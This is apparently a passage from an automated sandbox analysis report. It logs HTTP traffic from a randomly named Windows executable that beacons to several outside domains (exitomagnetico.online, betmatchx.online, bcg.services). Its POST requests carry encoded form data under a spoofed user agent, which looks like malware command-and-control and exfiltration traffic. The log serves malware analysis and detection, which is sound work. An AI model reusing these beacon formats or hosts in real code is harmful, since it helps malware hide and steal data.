                                                                Nov 20, 2024 10:27:26.414105892 CET754INData Raw: 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20
                                                                Data Ascii: lass="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_520&utm_campaign=www.exitomagnetico.online" id="brand_link"


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                20192.168.2.957473188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:28.618935108 CET458OUTGET /983l/?JNL8=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbJxwAYrBzqcL5v1XxiEv4U+RE6Tf5UA==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.exitomagnetico.online
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:27:29.229686022 CET1236INHTTP/1.1 200 OK
                                                                Date: Wed, 20 Nov 2024 09:27:29 GMT
                                                                Content-Type: text/html
                                                                Transfer-Encoding: chunked
                                                                Connection: close
                                                                Vary: Accept-Encoding
                                                                alt-svc: h3=":443"; ma=86400
                                                                x-hcdn-request-id: 46a8bd8e8898b336df6e9b4627f2b996-srv-edge3
                                                                Expires: Wed, 20 Nov 2024 09:27:28 GMT
                                                                Cache-Control: no-cache
                                                                CF-Cache-Status: DYNAMIC
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=arSGL3WF9hzChtKVOnSS2PS1eremhd2dPNMGSoiszZvyLIyzNlGgV5Ke%2BonJremcsZUXd5EJu1PWvp1B0RbxJ9Aorm1VdbqC7czh%2BgbwHpaJx0lkvA0nB%2BjPxjhXL%2BU7EJx%2FHsVEyvsdVjsP"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                Server: cloudflare
                                                                CF-RAY: 8e5767864e967c88-EWR
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=2004&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=458&delivery_rate=0&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 32 36 66 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63
                                                                Data Ascii: 26f5<!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapc
                                                                Nov 20, 2024 10:27:29.229710102 CET1236INData Raw: 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 61 6a
                                                                Data Ascii: dn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link hr
                                                                Nov 20, 2024 10:27:29.229722977 CET448INData Raw: 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 20 65
                                                                Data Ascii: nsition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}li a{color:#fff;margin-left:3px}li>i{color:#fff}.column-wrap a{color:#673de6;font-weight:700;font-size:14px;line-height:24px}.column-wrap p{color:#727
                                                                Nov 20, 2024 10:27:29.229815960 CET1236INData Raw: 6f 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e
                                                                Data Ascii: o;margin-top:5px;padding:10px 10px;font-size:18px;line-height:20px}.navbar-nav>li>a{padding-top:18px;padding-bottom:18px;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.nav
                                                                Nov 20, 2024 10:27:29.229830027 CET1236INData Raw: 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 63 6f 6c 6f 72 3a 23 36 34 36 34 36 34 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 2e 63 6f 70 79 72 69 67 68 74 7b 63 6f 6c 6f 72 3a 23 36 34 36 34 36 34 21 69 6d
                                                                Data Ascii: {cursor:pointer;color:#646464!important;font-size:12px}.copyright{color:#646464!important;font-size:12px}.navbar a{color:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{
                                                                Nov 20, 2024 10:27:29.229959011 CET1236INData Raw: 74 74 6f 6e 3e 20 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 20 63 6c 61 73 73 3d 6e 61 76 62 61 72 2d 62 72 61 6e 64 3e 3c 69 6d 67 20 73 72 63 3d
                                                                Data Ascii: tton> <a href=https://www.hostinger.com/ rel=nofollow class=navbar-brand><img src=hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><
                                                                Nov 20, 2024 10:27:29.229970932 CET1236INData Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 20 63 6f 6c 75 6d 6e 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 2d 77 72
                                                                Data Ascii: ><div class="clearfix column-wrap"><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title><span style=margin-right:8px>Buy website hosting </span><span class=badge>Save 90%</span></div><br><p>Extrem
                                                                Nov 20, 2024 10:27:29.229981899 CET1236INData Raw: 75 6e 79 63 6f 64 65 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 75 74 66 31 36 3d 7b 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 6f 72 28 76 61 72 20 72 2c 65 2c 6e 3d 5b 5d 2c 74 3d 30 2c 61 3d 6f 2e 6c 65 6e
                                                                Data Ascii: unycode=new function(){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t<a;){if(55296==(63488&(r=o.charCodeAt(t++)))){if(e=o.charCodeAt(t++),55296!=(64512&r)||56320!=(64512&e))throw new RangeError("UTF-16(decode): Illegal UTF-16
                                                                Nov 20, 2024 10:27:29.230237007 CET1236INData Raw: 3a 6f 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 32 29 22 29 3b 69 66 28 73 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 72 2d 66 29 2f 70 29 29 74 68 72 6f 77 20 52 61 6e 67 65
                                                                Data Ascii: :o))throw RangeError("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=s*p,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p*=o-C}if(i=n(f-l,h=m
                                                                Nov 20, 2024 10:27:29.230247974 CET551INData Raw: 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 28 70 2c 61 26 26 77 5b 64 5d 3f 31 3a 30 29 29 29 2c 75 3d 6e 28 66 2c 69 2b 31 2c 69 3d 3d 63 29 2c 66 3d 30 2c 2b 2b 69 7d 7d 2b 2b 66 2c 2b 2b 68 7d 72 65 74 75 72 6e 20 79 2e 6a 6f 69 6e 28 22 22 29
                                                                Data Ascii: fromCharCode(e(p,a&&w[d]?1:0))),u=n(f,i+1,i==c),f=0,++i}}++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/[^A-Za-z0-9-]/)?"xn--"+punycode.encode(t):t)}return e.join(


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                21192.168.2.95747491.206.201.136803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:34.379802942 CET719OUTPOST /w9az/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.betmatchx.online
                                                                Origin: http://www.betmatchx.online
                                                                Referer: http://www.betmatchx.online/w9az/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6c 6d 42 4f 50 4a 67 78 52 4f 4d 47 48 69 73 67 4b 65 6d 77 72 70 72 65 53 73 32 4f 78 76 4e 56 32 6d 70 4c 73 57 31 39 44 35 42 2b 77 34 32 57 31 67 42 78 30 49 6b 58 31 41 75 36 37 63 73 7a 41 47 4e 44 45 37 50 37 4c 4d 51 76 76 41 73 63 4b 6a 49 48 45 31 2b 45 5a 49 6e 59 5a 45 63 51 75 41 74 4f 5a 4d 32 50 35 59 56 35 37 32 57 53 72 55 75 41 69 4f 62 70 47 51 7a 69 61 59 49 6c 72 76 66 5a 78 62 4d 72 4f 44 4a 59 33 45 32 4f 44 5a 44 66 57 6b 64 73 65 6c 76 6e 6a 68 33 70 73 4d 53 55 4c 5a 54 30 6c 6f 43 69 54 44 4e 59 76 44 44 53 72 72 78 62 34 6b 33 32
                                                                Data Ascii: JNL8=lmBOPJgxROMGHisgKemwrpreSs2OxvNV2mpLsW19D5B+w42W1gBx0IkX1Au67cszAGNDE7P7LMQvvAscKjIHE1+EZInYZEcQuAtOZM2P5YV572WSrUuAiObpGQziaYIlrvfZxbMrODJY3E2ODZDfWkdselvnjh3psMSULZT0loCiTDNYvDDSrrxb4k32
                                                                Nov 20, 2024 10:27:35.056454897 CET318INHTTP/1.1 405 Not Allowed
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:34 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 150
                                                                Connection: close
                                                                x-ray: wn32694:0.000/
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                22192.168.2.95747591.206.201.136803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:36.929198027 CET743OUTPOST /w9az/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.betmatchx.online
                                                                Origin: http://www.betmatchx.online
                                                                Referer: http://www.betmatchx.online/w9az/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6c 6d 42 4f 50 4a 67 78 52 4f 4d 47 49 68 30 67 47 63 4f 77 36 5a 72 52 5a 4d 32 4f 6b 2f 4e 52 32 6d 74 4c 73 55 5a 58 45 4c 31 2b 77 64 4b 57 6b 52 42 78 35 6f 6b 58 74 51 75 2f 2f 63 73 6f 41 47 42 74 45 2b 76 37 4c 4d 55 76 76 43 30 63 4b 55 63 45 48 46 2f 69 52 6f 6e 61 58 6b 63 51 75 41 74 4f 5a 4d 6a 69 35 63 35 35 37 43 53 53 72 78 61 44 76 75 62 6d 48 51 7a 69 52 34 49 2b 72 76 65 4d 78 65 74 41 4f 42 68 59 33 41 6d 4f 47 64 58 63 66 6b 64 6d 61 6c 75 6f 75 43 54 69 6e 76 4b 37 46 35 54 67 6b 5a 2b 77 55 69 78 47 2b 78 4b 4a 2b 38 78 38 2f 44 2b 65 76 42 31 6b 43 5a 45 67 4f 48 79 6c 4d 47 2b 37 52 68 38 67 4b 51 3d 3d
                                                                Data Ascii: JNL8=lmBOPJgxROMGIh0gGcOw6ZrRZM2Ok/NR2mtLsUZXEL1+wdKWkRBx5okXtQu//csoAGBtE+v7LMUvvC0cKUcEHF/iRonaXkcQuAtOZMji5c557CSSrxaDvubmHQziR4I+rveMxetAOBhY3AmOGdXcfkdmaluouCTinvK7F5TgkZ+wUixG+xKJ+8x8/D+evB1kCZEgOHylMG+7Rh8gKQ==
                                                                Nov 20, 2024 10:27:37.596477985 CET318INHTTP/1.1 405 Not Allowed
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:37 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 150
                                                                Connection: close
                                                                x-ray: wn32694:0.000/
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                23192.168.2.95747691.206.201.136803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:39.482424021 CET1756OUTPOST /w9az/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.betmatchx.online
                                                                Origin: http://www.betmatchx.online
                                                                Referer: http://www.betmatchx.online/w9az/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6c 6d 42 4f 50 4a 67 78 52 4f 4d 47 49 68 30 67 47 63 4f 77 36 5a 72 52 5a 4d 32 4f 6b 2f 4e 52 32 6d 74 4c 73 55 5a 58 45 4c 4e 2b 77 76 53 57 31 47 64 78 34 6f 6b 58 7a 41 75 2b 2f 63 74 34 41 47 4a 68 45 2b 71 4d 4c 50 38 76 75 6e 67 63 64 52 67 45 51 56 2f 69 64 49 6e 62 5a 45 63 4a 75 41 39 53 5a 4d 7a 69 35 63 35 35 37 45 2b 53 73 6b 75 44 38 2b 62 70 47 51 7a 55 61 59 4a 77 72 76 32 63 78 65 68 32 50 78 42 59 75 68 4b 4f 42 2b 76 63 64 45 64 6f 64 6c 76 33 75 43 75 36 6e 76 48 56 46 36 50 4b 6b 61 75 77 52 6d 45 38 37 6c 47 2f 6f 2f 52 32 2b 79 6d 56 75 56 74 65 50 35 42 43 50 56 7a 45 59 44 2f 59 54 41 6f 77 57 77 59 44 66 4a 45 45 39 54 59 67 61 35 79 78 76 68 56 6a 78 62 5a 33 6b 36 39 65 4a 31 68 45 45 6f 6f 48 30 43 6c 52 56 53 72 6b 6b 57 6c 35 36 51 35 36 38 5a 77 51 4c 7a 49 72 38 50 58 44 74 58 79 50 63 37 33 51 4f 4e 68 49 43 7a 49 75 73 4a 39 2b 46 71 2f 70 37 64 46 58 70 78 62 6e 63 51 77 75 75 79 49 44 6d 38 41 6e 56 72 54 63 73 2b 59 76 4a 2f 7a 50 66 34 47 6b 49 [TRUNCATED]
                                                                Data Ascii: JNL8=lmBOPJgxROMGIh0gGcOw6ZrRZM2Ok/NR2mtLsUZXELN+wvSW1Gdx4okXzAu+/ct4AGJhE+qMLP8vungcdRgEQV/idInbZEcJuA9SZMzi5c557E+SskuD8+bpGQzUaYJwrv2cxeh2PxBYuhKOB+vcdEdodlv3uCu6nvHVF6PKkauwRmE87lG/o/R2+ymVuVteP5BCPVzEYD/YTAowWwYDfJEE9TYga5yxvhVjxbZ3k69eJ1hEEooH0ClRVSrkkWl56Q568ZwQLzIr8PXDtXyPc73QONhICzIusJ9+Fq/p7dFXpxbncQwuuyIDm8AnVrTcs+YvJ/zPf4GkI7hZVDp2SZsn91d8y2yym5aanveBkw/hKXZXmvoC1TGlrI0ryO5m1F9FSmgiCgeTGQJgmpYMrqx4GqCiC9xiRd11tWf5F2nLePIzUr27U8BNmUqwEC1DqSnMdlVQxn65Y6flmE/cI5KhhsgV+QtsChAl6y/dpaRFuJsmWya4NhdacUtmzAA3T4ezqnIfOfQBob3+ILV30jk5B/hXyduveBPh8u0H95z0opf9E8g7uEYUUjtGoi+8GcRSWXpiuSdzU7PJFSVXXKFv2ZPHeW+jGfIB894IuyiGuvOhIMft9bas3ooyluorWw46VEHK7uuIALj9VbTskdYdTAptifej+nK5gt8um6V6WwbRfRmy8k/S7Ds+lW/ZkIj7iJETXX+G7mLl/lhipmRerGBdELuc7lweqC+PHpFmbDqlDTdIiTtoeTs8n1vvJ4ssDxb5AEaqWdMPqCqblrSeIvCsT6EIamrGBs250SKbCXfDqn8Ggw/OmBWt3QgkmbgzaU4AhnuQ7F/apxyLoGfoqqSXdnz9dSblSd32BobwbOzaeGqjwzRXHNEa6bsjkrAdsojqavxRv58AgTCnDubeiM6l+UCs34ev+Z+Mg1zqMeZk1yV4jrXXJBhTOyRF8D5YFGz7qo6o0/kKerivB1OG4k8Njqfx9qBcpNcPs/8FWht [TRUNCATED]
                                                                Nov 20, 2024 10:27:40.159360886 CET318INHTTP/1.1 405 Not Allowed
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:40 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 150
                                                                Connection: close
                                                                x-ray: wn32694:0.000/
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                24192.168.2.95747791.206.201.136803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:42.032579899 CET453OUTGET /w9az/?JNL8=okpuM/0ib/ITckpSJOe46bDFdJCX1e1J/DJKs01IL9Rp28jerhgTxssC6Fi40/IOPldRdbmbGaYmryx1Ll4UYQKzVpLeNRUpwR1VWbLdxvEP10zk3A==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.betmatchx.online
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:27:42.730119944 CET1082INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:42 GMT
                                                                Content-Type: text/html; charset=utf-8
                                                                Transfer-Encoding: chunked
                                                                Connection: close
                                                                x-ray: wn32694:0.000/wa32694:D=1771
                                                                Data Raw: 33 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 54 49 54 4c 45 3e 53 69 74 65 20 62 65 74 6d 61 74 63 68 78 2e 6f 6e 6c 69 6e 65 20 6e 6f 74 20 63 6f 6e 66 69 67 75 72 65 64 3c 2f 54 49 54 4c 45 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 3a 20 31 32 70 78 20 54 61 68 6f 6d 61 3b 7d 0a 09 09 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 31 46 38 34 46 46 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 66 6f 6e 74 2d 77 65 [TRUNCATED]
                                                                Data Ascii: 364<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "xhtml11.dtd"><html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><TITLE>Site betmatchx.online not configured</TITLE><style>body {margin:0;padding:0;font: 12px Tahoma;}h1 {font-size:20px;color:#1F84FF;margin-bottom:20px;margin-top:0;font-weight:normal;line-height:30px;}a {color:#1873b4;}div {width: 700px;margin: 100px auto 0 auto;padding-top: 50px;height: 120px;line-height: 150%;}</style></head><body><div><h1>Site betmatchx.online not configured</h1>To get your site here, you need to add it to <a rel='nofollow' href='https://adm.tools/?page=5'>control panel</a>in the &laquo;My Sites&raquo; section.<br><br>If you have recently added a site to your control panel - wait 15 minutes and your site will start working.<br><br></div></body></html>0


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                25192.168.2.957478199.59.243.227803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:47.855484009 CET707OUTPOST /xz45/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bcg.services
                                                                Origin: http://www.bcg.services
                                                                Referer: http://www.bcg.services/xz45/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
